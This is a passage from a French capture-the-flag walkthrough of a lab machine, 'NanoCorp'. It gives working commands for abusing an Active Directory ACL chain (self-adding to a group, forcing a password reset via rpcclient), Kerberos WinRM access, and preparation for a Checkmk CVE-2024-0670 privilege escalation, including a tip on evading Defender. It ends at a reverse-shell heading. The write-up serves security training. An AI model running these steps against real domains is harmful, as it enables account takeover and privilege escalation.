&lt;h2&gt;
  
  
  Phase 3 — Escalade horizontale : ACL Chain (BloodHound CE)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 Collecte BloodHound
&lt;/h3&gt;

&lt;p&gt;Avec les credentials de &lt;code&gt;web_svc&lt;/code&gt;, on lance l'ingestor BloodHound pour cartographier l'AD :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bloodhound-python &lt;span class="nt"&gt;-u&lt;/span&gt; web_svc &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'dksehdgh712!@#'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; nanocorp.htb &lt;span class="nt"&gt;-dc&lt;/span&gt; dc01.nanocorp.htb &lt;span class="nt"&gt;-c&lt;/span&gt; All &lt;span class="nt"&gt;--zip&lt;/span&gt; &lt;span class="nt"&gt;-ns&lt;/span&gt; &lt;span class="nv"&gt;$IP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Pourquoi &lt;code&gt;-ns $IP&lt;/code&gt; ?&lt;/strong&gt; On force l'utilisation du DNS du DC directement. Sans ça, bloodhound-python tente de résoudre les noms via le DNS système de la Kali, qui ne connaît pas la zone &lt;code&gt;nanocorp.htb&lt;/code&gt; — et l'ingestor plante avec &lt;code&gt;Failed to resolve LDAP server IP&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  3.2 Analyse dans BloodHound CE
&lt;/h3&gt;

&lt;p&gt;On importe le ZIP dans BloodHound CE (&lt;code&gt;http://localhost:8080&lt;/code&gt;) et on explore les droits de &lt;code&gt;web_svc&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F08zyjs3ug57rqzsfmhot.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F08zyjs3ug57rqzsfmhot.png" alt="BloodHound CE — Outbound Object Control de web_svc" width="800" height="625"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Nœud &lt;code&gt;web_svc@nanocorp.htb&lt;/code&gt; → Outbound Object Control :&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;web_svc&lt;/code&gt; → &lt;code&gt;IT_SUPPORT&lt;/code&gt; : &lt;strong&gt;AddSelf&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3qnz4z8o0ikgqt24gzei.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3qnz4z8o0ikgqt24gzei.png" alt="BloodHound CE — Outbound Object Control de IT_SUPPORT" width="800" height="221"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Nœud &lt;code&gt;IT_SUPPORT&lt;/code&gt; → Outbound Object Control :&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;IT_SUPPORT&lt;/code&gt; → &lt;code&gt;monitoring_svc&lt;/code&gt; : &lt;strong&gt;ForceChangePassword&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3.3 Pourquoi cette chaîne ACL est dangereuse
&lt;/h3&gt;

&lt;p&gt;La chaîne complète est :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;web_svc ──[AddSelf]──→ IT_SUPPORT ──[ForceChangePassword]──→ monitoring_svc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;AddSelf&lt;/strong&gt; : &lt;code&gt;web_svc&lt;/code&gt; a le droit de s'ajouter &lt;strong&gt;lui-même&lt;/strong&gt; comme membre du groupe &lt;code&gt;IT_SUPPORT&lt;/code&gt;. C'est un droit spécifique plus faible que GenericAll — le principal ne peut pas ajouter d'autres utilisateurs, seulement lui-même. C'est souvent configuré pour que des comptes de service puissent "rejoindre" un groupe de support technique.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ForceChangePassword&lt;/strong&gt; : le groupe &lt;code&gt;IT_SUPPORT&lt;/code&gt; a le droit de &lt;strong&gt;réinitialiser le mot de passe&lt;/strong&gt; de &lt;code&gt;monitoring_svc&lt;/code&gt; sans connaître l'ancien. Ce droit est souvent accordé aux équipes de support pour débloquer des comptes — mais c'est une porte d'entrée directe pour un attaquant qui rejoint le groupe.&lt;/p&gt;

&lt;p&gt;Résultat : avec un seul compte de service (&lt;code&gt;web_svc&lt;/code&gt;), on peut pivoter vers &lt;code&gt;monitoring_svc&lt;/code&gt; en deux étapes sans jamais toucher à un compte privilégié.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.4 Exploitation de la chaîne ACL
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Étape 1 — web_svc s'ajoute au groupe IT_SUPPORT
&lt;/h4&gt;

&lt;p&gt;On utilise la bibliothèque Python &lt;code&gt;ldap3&lt;/code&gt; pour modifier l'attribut &lt;code&gt;member&lt;/code&gt; du groupe. On passe par un script Python pour éviter les problèmes de quoting du mot de passe (&lt;code&gt;!@#&lt;/code&gt;) dans zsh :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/addself.py &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
from ldap3 import Server, Connection, MODIFY_ADD
server = Server('dc01.nanocorp.htb', get_info='ALL')
conn = Connection(server, user='NANOCORP&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="sh"&gt;web_svc', password='dksehdgh712!@#')
conn.bind()
conn.modify(
    'CN=IT_SUPPORT,CN=Users,DC=nanocorp,DC=htb',
    {'member': [(MODIFY_ADD, ['CN=web_svc,CN=Users,DC=nanocorp,DC=htb'])]}
)
print(conn.result)
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;python3 /tmp/addself.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Pourquoi un fichier Python et pas une one-liner ?&lt;/strong&gt; Le mot de passe contient &lt;code&gt;!@#&lt;/code&gt; — zsh interprète &lt;code&gt;!&lt;/code&gt; comme un event history et &lt;code&gt;#&lt;/code&gt; comme un commentaire. L'heredoc &lt;code&gt;&amp;lt;&amp;lt; 'EOF'&lt;/code&gt; (avec quotes simples autour de EOF) empêche toute expansion.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Résultat :&lt;/strong&gt; &lt;code&gt;{'result': 0, 'description': 'success', ...}&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Étape 2 — Changement du mot de passe de monitoring_svc
&lt;/h4&gt;

&lt;p&gt;Maintenant que &lt;code&gt;web_svc&lt;/code&gt; est membre de &lt;code&gt;IT_SUPPORT&lt;/code&gt;, on utilise rpcclient pour changer le mot de passe de &lt;code&gt;monitoring_svc&lt;/code&gt; :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/changepwd.sh &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
rpcclient -U "nanocorp.htb/web_svc%dksehdgh712!@#" dc01.nanocorp.htb &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="sh"&gt;
  -c "setuserinfo2 monitoring_svc 23 'NanoPwned123!'"
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;bash /tmp/changepwd.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Pourquoi &lt;code&gt;setuserinfo2&lt;/code&gt; avec le code &lt;code&gt;23&lt;/code&gt; ?&lt;/strong&gt; Le code 23 correspond à &lt;code&gt;UserInternal4InformationNew&lt;/code&gt; dans l'API SAMR de Windows — c'est l'appel RPC qui change le mot de passe sans connaître l'ancien. C'est exactement ce que fait le bouton "Reset Password" dans Active Directory Users and Computers.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Pas d'erreur = mot de passe changé avec succès.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 4 — Shell monitoring_svc via Kerberos WinRM
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 Pourquoi Kerberos est obligatoire
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;monitoring_svc&lt;/code&gt; est membre du groupe &lt;strong&gt;Protected Users&lt;/strong&gt; dans Active Directory. Ce groupe applique des restrictions de sécurité strictes :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;NTLM désactivé&lt;/strong&gt; : toute tentative d'authentification NTLM est refusée&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pas de délégation&lt;/strong&gt; : le compte ne peut pas être utilisé pour la délégation Kerberos&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Durée de TGT réduite&lt;/strong&gt; : 4 heures au lieu de 10&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;En pratique, si on essaie &lt;code&gt;evil-winrm -i dc01.nanocorp.htb -u monitoring_svc -p 'NanoPwned123!'&lt;/code&gt; (qui utilise NTLM par défaut), la connexion sera &lt;strong&gt;refusée silencieusement&lt;/strong&gt;. Il faut explicitement passer par Kerberos.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.2 Configuration Kerberos et connexion
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Configuration Kerberos&lt;/span&gt;
&lt;span class="nb"&gt;sudo tee&lt;/span&gt; /etc/krb5.conf &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
[libdefaults]
    default_realm = NANOCORP.HTB

[realms]
    NANOCORP.HTB = {
        kdc = dc01.nanocorp.htb
        admin_server = dc01.nanocorp.htb
    }

[domain_realm]
    .nanocorp.htb = NANOCORP.HTB
    nanocorp.htb = NANOCORP.HTB
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Obtention du TGT Kerberos&lt;/span&gt;
faketime &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s1"&gt;'+7h'&lt;/span&gt; kinit monitoring_svc@NANOCORP.HTB
&lt;span class="c"&gt;# Entrer le mot de passe : NanoPwned123!&lt;/span&gt;

&lt;span class="c"&gt;# Connexion WinRM via Kerberos&lt;/span&gt;
faketime &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s1"&gt;'+7h'&lt;/span&gt; evil-winrm &lt;span class="nt"&gt;-i&lt;/span&gt; dc01.nanocorp.htb &lt;span class="nt"&gt;-r&lt;/span&gt; NANOCORP.HTB &lt;span class="nt"&gt;--ssl&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Pourquoi &lt;code&gt;--ssl&lt;/code&gt; ?&lt;/strong&gt; Le port 5985 (WinRM en clair) n'est pas ouvert — seul le 5986 (WinRM HTTPS) est disponible. Le flag &lt;code&gt;--ssl&lt;/code&gt; dit à Evil-WinRM d'utiliser TLS.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pourquoi &lt;code&gt;-r NANOCORP.HTB&lt;/code&gt; ?&lt;/strong&gt; Ce flag active l'authentification Kerberos dans Evil-WinRM en spécifiant le realm. Sans lui, Evil-WinRM tente NTLM par défaut.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pourquoi &lt;code&gt;faketime&lt;/code&gt; ?&lt;/strong&gt; Le clock skew de ~7h entre notre Kali et le DC ferait échouer les requêtes Kerberos. &lt;code&gt;faketime&lt;/code&gt; ajuste l'horloge vue par le processus sans toucher à l'horloge système.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F82w93q7m55jy39w7bqla.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F82w93q7m55jy39w7bqla.png" alt="Evil-WinRM — shell monitoring_svc" width="800" height="268"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  4.3 User flag
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="kr"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;C:\Users\monitoring_svc\Desktop\user.txt&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F227slohgjgas48uj61lx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F227slohgjgas48uj61lx.png" alt="User flag récupéré" width="797" height="55"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚩 &lt;strong&gt;User flag owned !&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 5 — Privesc : CVE-2024-0670 (Checkmk MSI Repair Race)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 Énumération depuis monitoring_svc
&lt;/h3&gt;

&lt;p&gt;On commence par vérifier ce qui tourne sur la box. Le port 6556 n'était pas visible de l'extérieur — vérifions depuis l'intérieur :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;netstat&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-an&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;findstr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;6556&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;TCP    0.0.0.0:6556    0.0.0.0:0    LISTENING
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fc66s5tqgv47hh9dcpmee.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fc66s5tqgv47hh9dcpmee.png" alt="Netstat — port 6556 Checkmk en écoute" width="757" height="74"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Le port 6556 est le port par défaut de l'agent Checkmk — un outil de monitoring système. Vérifions la version installée :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Get-ItemProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;DisplayName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-like&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"*mk*"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;DisplayName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-like&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"*Check*"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;DisplayName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;DisplayVersion&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;LocalPackage&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;DisplayName&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;DisplayVersion&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;LocalPackage&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="o"&gt;-----------&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;--------------&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;------------&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;MK&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Agent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;2.1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;2.1.0.50010&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nx"&gt;C:\Windows\Installer\1e6f2.msi&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvm7yh1pya8yk9ycd6j1i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvm7yh1pya8yk9ycd6j1i.png" alt="Checkmk version vulnérable dans le registre" width="799" height="116"&gt;&lt;/a&gt;&lt;br&gt;
Version &lt;code&gt;2.1.0.50010&lt;/code&gt; → &lt;strong&gt;vulnérable à CVE-2024-0670&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  5.2 Comprendre CVE-2024-0670 en profondeur
&lt;/h3&gt;
&lt;h4&gt;
  
  
  Le mécanisme normal
&lt;/h4&gt;

&lt;p&gt;Quand on lance une réparation MSI (&lt;code&gt;msiexec /fa&lt;/code&gt;) pour Checkmk, l'agent effectue les étapes suivantes :&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Crée des fichiers &lt;code&gt;.cmd&lt;/code&gt; temporaires dans &lt;code&gt;C:\Windows\Temp&lt;/code&gt; avec le pattern &lt;code&gt;cmk_all_&amp;lt;PID&amp;gt;_&amp;lt;counter&amp;gt;.cmd&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Écrit ses propres commandes de configuration dans ces fichiers&lt;/li&gt;
&lt;li&gt;Exécute ces fichiers &lt;strong&gt;en tant que SYSTEM&lt;/strong&gt; (le service Windows Installer tourne en SYSTEM)&lt;/li&gt;
&lt;li&gt;Supprime les fichiers temporaires&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;
  
  
  La vulnérabilité
&lt;/h4&gt;

&lt;p&gt;Le problème est double :&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pattern prédictible&lt;/strong&gt; : le nom du fichier ne contient que le PID du processus msiexec et un compteur (0 ou 1). Le PID est dans une plage prévisible — sur Windows Server, les PID tournent typiquement entre 1000 et 15000.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pas de vérification d'intégrité&lt;/strong&gt; : msiexec ne vérifie pas que le contenu du &lt;code&gt;.cmd&lt;/code&gt; est bien celui qu'il a écrit. Si le fichier existe déjà et est en &lt;strong&gt;read-only&lt;/strong&gt;, msiexec ne peut pas l'écraser — et il &lt;strong&gt;exécute quand même le contenu existant&lt;/strong&gt; en tant que SYSTEM.&lt;/p&gt;
&lt;h4&gt;
  
  
  Le piège du logon type
&lt;/h4&gt;

&lt;p&gt;C'est le point le plus subtil de cette box. Windows distingue plusieurs types de sessions d'authentification :&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Nom&lt;/th&gt;
&lt;th&gt;Exemple&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Interactive&lt;/td&gt;
&lt;td&gt;Console physique, RunasCs &lt;code&gt;-l 2&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Network&lt;/td&gt;
&lt;td&gt;WinRM, SMB, webshells&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;RemoteInteractive&lt;/td&gt;
&lt;td&gt;RDP&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Le service Windows Installer (&lt;code&gt;msiserver&lt;/code&gt;) &lt;strong&gt;refuse de lancer une réparation MSI&lt;/strong&gt; (&lt;code&gt;/fa&lt;/code&gt;) depuis une session de type 3 (réseau). Il ne renvoie pas d'erreur — il &lt;strong&gt;échoue silencieusement&lt;/strong&gt;. C'est pourquoi :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Lancer &lt;code&gt;msiexec /fa&lt;/code&gt; depuis Evil-WinRM → &lt;strong&gt;ne fait rien&lt;/strong&gt; (type 3)&lt;/li&gt;
&lt;li&gt;Lancer &lt;code&gt;msiexec /fa&lt;/code&gt; depuis un webshell → &lt;strong&gt;ne fait rien&lt;/strong&gt; (type 3 aussi, réseau HTTP)&lt;/li&gt;
&lt;li&gt;Lancer &lt;code&gt;msiexec /fa&lt;/code&gt; via &lt;strong&gt;RunasCs &lt;code&gt;-l 2&lt;/code&gt;&lt;/strong&gt; → &lt;strong&gt;fonctionne&lt;/strong&gt; (crée une session type 2)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;RunasCs avec le flag &lt;code&gt;-l 2&lt;/code&gt; est l'outil clé ici : il prend des credentials et crée une &lt;strong&gt;vraie session interactive locale&lt;/strong&gt; (type 2), même depuis une session réseau. C'est ce qui permet de contourner la restriction msiexec.&lt;/p&gt;
&lt;h3&gt;
  
  
  5.3 Préparation de l'exploit
&lt;/h3&gt;
&lt;h4&gt;
  
  
  Étape 1 — Upload de RunasCs dans C:\programdata
&lt;/h4&gt;

&lt;p&gt;On uploade RunasCs via Evil-WinRM dans &lt;code&gt;C:\programdata&lt;/code&gt; — un répertoire que Defender surveille moins que &lt;code&gt;C:\Windows\Temp&lt;/code&gt;. Le binaire précompilé survit ici sans être supprimé.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Depuis Evil-WinRM (monitoring_svc)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\programdata&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;upload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/mnt/macos/CTF/NanoCorp/RunasCs.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;RunasCs.exe&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Pourquoi &lt;code&gt;C:\programdata&lt;/code&gt; et pas &lt;code&gt;C:\Windows\Temp&lt;/code&gt; ?&lt;/strong&gt; Defender surveille activement &lt;code&gt;C:\Windows\Temp&lt;/code&gt; — les binaires connus comme RunasCs ou nc.exe y sont supprimés quasi-instantanément. &lt;code&gt;C:\programdata&lt;/code&gt; est un répertoire système légitime, moins scruté par les signatures Defender.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fi6rdibqnffbac6arcwkx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fi6rdibqnffbac6arcwkx.png" alt="RunasCs uploadé dans C:\programdata" width="379" height="60"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Étape 2 — Reverse shell web_svc via RunasCs
&lt;/h4&gt;

